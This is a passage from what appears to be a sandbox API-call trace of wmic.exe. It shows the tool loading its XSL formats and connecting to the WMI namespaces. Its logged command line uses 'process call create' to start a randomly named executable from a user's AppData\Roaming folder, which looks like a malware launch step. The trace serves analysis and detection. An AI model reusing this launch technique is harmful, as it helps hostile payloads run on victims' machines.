varVal1="wmiclitableformatnosys.xsl", varVal2=0x0)) returned 0x0 [0154.572] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.572] SysStringLen (param_1="TABLE") returned 0x5 [0154.573] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.573] SysStringLen (param_1="XML") returned 0x3 [0154.573] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.573] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.573] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.573] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.573] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.573] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.573] IUnknown:Release (This=0x956b88) returned 0x0 [0154.573] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.573] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.573] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=14, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.573] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="texttable.xsl") returned 0x0 [0154.573] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.573] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.573] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x0)) returned 0x0 [0154.573] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0154.573] SysStringLen (param_1="TABLE") returned 0x5 [0154.573] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0154.573] SysStringLen (param_1="XML") returned 0x3 [0154.573] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0154.573] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.573] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0154.573] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.573] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0154.573] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.573] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.573] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0154.573] IUnknown:Release (This=0x956b88) returned 0x0 [0154.573] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.573] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.573] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=15, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.573] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="htable.xsl") returned 0x0 [0154.573] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.574] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.574] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x0)) returned 0x0 [0154.574] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0154.574] SysStringLen (param_1="TABLE") returned 0x5 [0154.574] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0154.574] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.574] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0154.574] SysStringLen (param_1="XML") returned 0x3 [0154.574] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0154.574] SysStringLen (param_1="texttablewsys") returned 0xd [0154.574] SysStringLen (param_1="XML") returned 0x3 [0154.574] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0154.574] IUnknown:Release (This=0x956b88) returned 0x0 [0154.574] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.574] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.574] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=16, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.574] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="htable.xsl") returned 0x0 [0154.574] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.574] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.574] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x0)) returned 0x0 [0154.574] SysStringLen (param_1="htable-sortby") returned 0xd [0154.574] SysStringLen (param_1="TABLE") returned 0x5 [0154.574] SysStringLen (param_1="htable-sortby") returned 0xd [0154.574] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.574] SysStringLen (param_1="htable-sortby") returned 0xd [0154.574] SysStringLen (param_1="XML") returned 0x3 [0154.574] SysStringLen (param_1="htable-sortby") returned 0xd [0154.574] SysStringLen (param_1="texttablewsys") returned 0xd [0154.574] SysStringLen (param_1="htable-sortby") returned 0xd [0154.574] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0154.574] SysStringLen (param_1="XML") returned 0x3 [0154.574] SysStringLen (param_1="htable-sortby") returned 0xd [0154.575] IUnknown:Release (This=0x956b88) returned 0x0 [0154.575] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.575] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.575] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=17, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.575] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="mof.xsl") returned 0x0 [0154.575] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.575] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.575] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x0)) returned 0x0 [0154.575] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0154.575] SysStringLen (param_1="TABLE") returned 0x5 [0154.575] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0154.575] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.575] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0154.575] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.575] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0154.575] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0154.575] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.575] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0154.575] IUnknown:Release (This=0x956b88) returned 0x0 [0154.575] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.575] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.575] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=18, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.575] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="mof.xsl") returned 0x0 [0154.575] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.575] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.575] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x0)) returned 0x0 [0154.576] SysStringLen (param_1="wmiclimofformat") returned 0xf [0154.576] SysStringLen (param_1="TABLE") returned 0x5 [0154.576] SysStringLen (param_1="wmiclimofformat") returned 0xf [0154.576] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.576] SysStringLen (param_1="wmiclimofformat") returned 0xf [0154.576] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.576] SysStringLen (param_1="wmiclimofformat") returned 0xf [0154.576] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0154.576] SysStringLen (param_1="wmiclimofformat") returned 0xf [0154.576] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0154.576] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.576] SysStringLen (param_1="wmiclimofformat") returned 0xf [0154.576] IUnknown:Release (This=0x956b88) returned 0x0 [0154.576] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.576] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.576] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=19, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.576] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="textvaluelist.xsl") returned 0x0 [0154.576] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.576] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.576] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x0)) returned 0x0 [0154.576] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0154.576] SysStringLen (param_1="TABLE") returned 0x5 [0154.576] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0154.576] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.576] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0154.576] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.576] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0154.576] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.576] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.576] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0154.576] IUnknown:Release (This=0x956b88) returned 0x0 [0154.576] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.576] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.576] IXMLDOMNodeList:get_item (in: This=0x959ca0, index=20, listItem=0xef9b8 | out: listItem=0xef9b8*=0x956b88) returned 0x0 [0154.577] IXMLDOMNode:get_text (in: This=0x956b88, text=0xef9bc | out: text=0xef9bc*="textvaluelist.xsl") returned 0x0 [0154.577] IXMLDOMNode:get_attributes (in: This=0x956b88, attributeMap=0xef9b4 | out: attributeMap=0xef9b4*=0x959fa8) returned 0x0 [0154.577] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x959fa8, name="KEYWORD", namedItem=0xef9b0 | out: namedItem=0xef9b0*=0x959ff8) returned 0x0 [0154.577] IXMLDOMNode:get_nodeValue (in: This=0x959ff8, value=0xef970 | out: value=0xef970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x0)) returned 0x0 [0154.577] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0154.577] SysStringLen (param_1="TABLE") returned 0x5 [0154.577] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0154.577] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0154.577] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0154.577] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0154.577] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0154.577] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.577] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0154.577] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0154.577] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0154.577] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0154.577] IUnknown:Release (This=0x956b88) returned 0x0 [0154.577] IUnknown:Release (This=0x959fa8) returned 0x0 [0154.577] IUnknown:Release (This=0x959ff8) returned 0x0 [0154.577] IUnknown:Release (This=0x959ca0) returned 0x0 [0154.577] IUnknown:Release (This=0x956b48) returned 0x1 [0154.577] FreeThreadedDOMDocument:IUnknown:Release (This=0x9545a8) returned 0x0 [0154.577] GetCommandLineW () returned="\"C:\\Windows\\SysWOW64\\wbem\\wmic.exe\" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"" [0154.577] memcpy_s (in: _Destination=0x448058, _DestinationSize=0x10e, _Source=0x2b0ab8, _SourceSize=0x102 | out: _Destination=0x448058) returned 0x0 [0154.578] GetLocalTime (in: lpSystemTime=0xef950 | out: lpSystemTime=0xef950*(wYear=0x7e2, wMonth=0x1, wDayOfWeek=0x5, wDay=0x1a, wHour=0x11, wMinute=0x36, wSecond=0xe, wMilliseconds=0x1e9)) [0154.578] _vsnwprintf (in: _Buffer=0x448170, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0xef930 | out: _Buffer="01-26-2018T17:54:14") returned 19 [0154.578] lstrlenW (lpString=" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 94 [0154.578] lstrlenW (lpString=" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 94 [0154.578] lstrlenW (lpString=" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 94 [0154.578] lstrlenW (lpString=" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 94 [0154.578] lstrlenW (lpString=" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 94 [0154.578] lstrlenW (lpString=" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 94 [0154.578] lstrlenW (lpString="process") returned 7 [0154.578] _wcsicmp (_String1="process", _String2="\"NULL\"") returned 78 [0154.578] lstrlenW (lpString=" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 94 [0154.578] lstrlenW (lpString="call") returned 4 [0154.578] _wcsicmp (_String1="call", _String2="\"NULL\"") returned 65 [0154.578] memmove_s (in: _Destination=0x440568, _DestinationSize=0x4, _Source=0x442d10, _SourceSize=0x4 | out: _Destination=0x440568) returned 0x0 [0154.578] lstrlenW (lpString=" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 94 [0154.578] lstrlenW (lpString="create") returned 6 [0154.578] _wcsicmp (_String1="create", _String2="\"NULL\"") returned 65 [0154.578] memmove_s (in: _Destination=0x447d10, _DestinationSize=0x8, _Source=0x440568, _SourceSize=0x8 | out: _Destination=0x447d10) returned 0x0 [0154.578] lstrlenW (lpString=" process call create \"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 94 [0154.578] lstrlenW (lpString="\"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 73 [0154.578] _wcsicmp (_String1="\"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"", _String2="\"NULL\"") returned -11 [0154.578] lstrlenW (lpString="\"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 73 [0154.578] lstrlenW (lpString="\"cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 73 [0154.579] memmove_s (in: _Destination=0x447d58, _DestinationSize=0xc, _Source=0x447d10, _SourceSize=0xc | out: _Destination=0x447d58) returned 0x0 [0154.579] lstrlenW (lpString="QUIT") returned 4 [0154.579] lstrlenW (lpString="process") returned 7 [0154.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="QUIT", cchCount2=4) returned 1 [0154.579] lstrlenW (lpString="EXIT") returned 4 [0154.579] lstrlenW (lpString="process") returned 7 [0154.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="EXIT", cchCount2=4) returned 3 [0154.579] WbemLocator:IUnknown:AddRef (This=0x2c5c98) returned 0x2 [0154.579] lstrlenW (lpString="/") returned 1 [0154.579] lstrlenW (lpString="process") returned 7 [0154.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="/", cchCount2=1) returned 3 [0154.579] lstrlenW (lpString="-") returned 1 [0154.579] lstrlenW (lpString="process") returned 7 [0154.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="-", cchCount2=1) returned 3 [0154.579] lstrlenW (lpString="CLASS") returned 5 [0154.579] lstrlenW (lpString="process") returned 7 [0154.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="CLASS", cchCount2=5) returned 3 [0154.579] lstrlenW (lpString="PATH") returned 4 [0154.579] lstrlenW (lpString="process") returned 7 [0154.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="PATH", cchCount2=4) returned 3 [0154.579] lstrlenW (lpString="CONTEXT") returned 7 [0154.579] lstrlenW (lpString="process") returned 7 [0154.579] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="CONTEXT", cchCount2=7) returned 3 [0154.579] lstrlenW (lpString="process") returned 7 [0154.579] lstrlenW (lpString="process") returned 7 [0154.579] GetCurrentThreadId () returned 0x134 [0154.579] ??0CHString@@QAE@XZ () returned 0xef8a4 [0154.579] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2c5c98, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xcc9540 | out: ppNamespace=0xcc9540*=0x2e3668) returned 0x0 [0155.098] CoSetProxyBlanket (pProxy=0x2e3668, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0155.098] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.098] GetCurrentThreadId () returned 0x134 [0155.098] ??0CHString@@QAE@XZ () returned 0xef84c [0155.098] SysStringLen (param_1="root\\cli") returned 0x8 [0155.098] SysStringLen (param_1="\\") returned 0x1 [0155.098] SysStringLen (param_1="root\\cli\\") returned 0x9 [0155.098] SysStringLen (param_1="ms_409") returned 0x6 [0155.099] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2c5c98, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xcc9544 | out: ppNamespace=0xcc9544*=0x2e30c8) returned 0x0 [0155.107] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.107] GetCurrentThreadId () returned 0x134 [0155.107] ??0CHString@@QAE@XZ () returned 0xef8a8 [0155.107] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0155.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc81478, cbMultiByte=-1, lpWideCharStr=0x448bb0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0155.108] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0155.108] SysStringLen (param_1="process") returned 0x7 [0155.108] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='process") returned 0x23 [0155.108] SysStringLen (param_1="'") returned 0x1 [0155.108] IWbemServices:GetObject (in: This=0x2e3668, strObjectPath="MSFT_CliAlias.FriendlyName='process'", lFlags=0, pCtx=0x0, ppObject=0xef8a4*=0x0, ppCallResult=0x0 | out: ppObject=0xef8a4*=0x316c90, ppCallResult=0x0) returned 0x0 [0155.121] IWbemClassObject:Get (in: This=0x316c90, wszName="Target", lFlags=0, pVal=0xef87c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef87c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_Process", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.121] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0155.121] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0155.121] IWbemClassObject:Get (in: This=0x316c90, wszName="PWhere", lFlags=0, pVal=0xef87c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef87c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="WHERE ProcessId='#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.121] lstrlenW (lpString="WHERE ProcessId='#'") returned 19 [0155.121] lstrlenW (lpString="WHERE ProcessId='#'") returned 19 [0155.121] IWbemClassObject:Get (in: This=0x316c90, wszName="Connection", lFlags=0, pVal=0xef87c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef87c*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x317858, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.121] IUnknown:QueryInterface (in: This=0x317858, riid=0xc869ac*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0xef898 | out: ppvObject=0xef898*=0x317858) returned 0x0 [0155.121] GetCurrentThreadId () returned 0x134 [0155.122] ??0CHString@@QAE@XZ () returned 0xef818 [0155.122] IWbemClassObject:Get (in: This=0x317858, wszName="Namespace", lFlags=0, pVal=0xef7fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef7fc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.122] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0155.122] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0155.122] IWbemClassObject:Get (in: This=0x317858, wszName="Locale", lFlags=0, pVal=0xef7fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ea7a4, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef7fc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.122] lstrlenW (lpString="ms_409") returned 6 [0155.122] lstrlenW (lpString="ms_409") returned 6 [0155.122] IWbemClassObject:Get (in: This=0x317858, wszName="User", lFlags=0, pVal=0xef7fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ea7a4, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef7fc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.122] IWbemClassObject:Get (in: This=0x317858, wszName="Password", lFlags=0, pVal=0xef7fc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef7fc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.122] IWbemClassObject:Get (in: This=0x317858, wszName="Server", lFlags=0, pVal=0xef7fc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef7fc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.122] lstrlenW (lpString=".") returned 1 [0155.122] lstrlenW (lpString=".") returned 1 [0155.122] IWbemClassObject:Get (in: This=0x317858, wszName="Authority", lFlags=0, pVal=0xef7fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ea7a4, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef7fc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.122] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.122] IUnknown:Release (This=0x317858) returned 0x1 [0155.122] GetCurrentThreadId () returned 0x134 [0155.122] ??0CHString@@QAE@XZ () returned 0xef808 [0155.123] IWbemClassObject:Get (in: This=0x316c90, wszName="__RELPATH", lFlags=0, pVal=0xef7f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xef7f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"Process\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.123] GetCurrentThreadId () returned 0x134 [0155.123] ??0CHString@@QAE@XZ () returned 0xef784 [0155.123] ??0CHString@@QAE@PBG@Z () returned 0xef780 [0155.123] ??0CHString@@QAE@ABV0@@Z () returned 0xef700 [0155.123] ?Empty@CHString@@QAEXXZ () returned 0x73336430 [0155.123] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x448be0 [0155.123] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0155.123] ?Left@CHString@@QBE?AV1@H@Z () returned 0xef6f8 [0155.123] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0xef6fc [0155.123] ??YCHString@@QAEABV0@ABV0@@Z () returned 0xef780 [0155.123] ??1CHString@@QAE@XZ () returned 0x1 [0155.123] ??1CHString@@QAE@XZ () returned 0x1 [0155.123] ?Mid@CHString@@QBE?AV1@H@Z () returned 0xef6f4 [0155.123] ??4CHString@@QAEABV0@ABV0@@Z () returned 0xef700 [0155.123] ??1CHString@@QAE@XZ () returned 0x1 [0155.123] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x448c40 [0155.123] ?Find@CHString@@QBEHPBG@Z () returned 0x7 [0155.123] ?Left@CHString@@QBE?AV1@H@Z () returned 0xef6f8 [0155.123] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0xef6fc [0155.123] ??YCHString@@QAEABV0@ABV0@@Z () returned 0xef780 [0155.123] ??1CHString@@QAE@XZ () returned 0x1 [0155.123] ??1CHString@@QAE@XZ () returned 0x1 [0155.123] ?Mid@CHString@@QBE?AV1@H@Z () returned 0xef6f4 [0155.123] ??4CHString@@QAEABV0@ABV0@@Z () returned 0xef700 [0155.123] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.123] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x73336424 [0155.123] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.123] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") 